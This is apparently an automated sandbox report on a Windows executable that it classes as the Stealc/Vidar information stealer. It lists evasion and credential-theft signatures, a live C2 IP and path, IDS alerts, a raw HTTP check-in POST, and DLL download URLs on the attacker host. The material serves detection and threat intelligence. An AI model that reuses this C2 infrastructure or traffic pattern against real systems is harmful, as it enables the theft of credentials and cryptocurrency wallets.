Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1502161
MD5:	365b68b5ce1d90a3cd9a2580d5f557c4
SHA1:	1c94fb5d28f2bd2a449aed89c39d014030c2cb2b
SHA256:	80692f9e1a74a1086e71c69775a1b702c765dc7df4302ebdbca975b8b8006b79
Tags:	exe
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6600 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 365B68B5CE1D90A3CD9A2580D5F557C4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.100/e2b1563c6670f193.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2255662076.000000000072E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6600	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6600	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6600	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6600	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T10:14:02.651412+0200
SID:	2044246
Severity:	1
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T10:14:12.565366+0200
SID:	2803304
Severity:	3
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T10:14:01.990379+0200
SID:	2044243
Severity:	1
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T10:14:10.217062+0200
SID:	2803304
Severity:	3
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T10:14:15.957350+0200
SID:	2803304
Severity:	3
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 185.215.113.100 - Destination IP: 192.168.2.5

Timestamp:	2024-08-31T10:14:02.657785+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 185.215.113.100 - Destination IP: 192.168.2.5

Timestamp:	2024-08-31T10:14:02.410563+0200
SID:	2044245
Severity:	1
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T10:14:02.265130+0200
SID:	2044244
Severity:	1
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T10:14:04.258516+0200
SID:	2803304
Severity:	3
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T10:14:13.334539+0200
SID:	2803304
Severity:	3
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T10:14:03.778217+0200
SID:	2044248
Severity:	1
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T10:14:16.534247+0200
SID:	2803304
Severity:	3
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T10:14:11.611261+0200
SID:	2803304
Severity:	3
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHDHost: 185.215.113.100Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 36 32 31 38 41 35 41 38 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 2d 2d 0d 0a Data Ascii: ------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="hwid"A36218A5A8C62507286958------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="build"leva------CBGCGDBKEGHIEBGDBFHD--

Source: file.exe, 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2255662076.000000000072E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100
Source: file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/
Source: file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/mozglue.dllR
Source: file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/msvcp140.dllP
Source: file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/sqlite3.dll2
Source: file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/sqlite3.dllj
Source: file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll.113.100
Source: file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dllart
Source: file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dllc
Source: file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dlles
Source: file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dllocas
Source: file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dllta
Source: file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126770811.0000000000816000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000003.2126770811.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php5
Source: file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpBrowser
Source: file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpFirefox
Source: file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpN
Source: file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpS
Source: file.exe, 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpion:
Source: file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpl
Source: file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpn
Source: file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpwh
Source: file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpy
Source: file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpz
Source: file.exe, 00000000.00000002.2255662076.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100S
Source: file.exe, 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100e2b1563c6670f193.phpion:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2282937217.000000006F8FD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2282611188.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2273051012.000000001D385000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2277664809.0000000029441000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2277664809.0000000029441000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2277664809.0000000029441000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2277664809.0000000029441000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: FHDHCAAKECFIDHIEBAKF.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: JJJKEHCAKFBFHJKEHCFIIDAEGD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JJJKEHCAKFBFHJKEHCFIIDAEGD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JJJKEHCAKFBFHJKEHCFIIDAEGD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2277664809.0000000029441000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2277664809.0000000029441000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: JJJKEHCAKFBFHJKEHCFIIDAEGD.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: JJJKEHCAKFBFHJKEHCFIIDAEGD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: JJJKEHCAKFBFHJKEHCFIIDAEGD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2215681993.000000002F4D1000.00000004.00000020.00020000.00000000.sdmp, JJJKEHCAKFBFHJKEHCFIIDAEGD.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
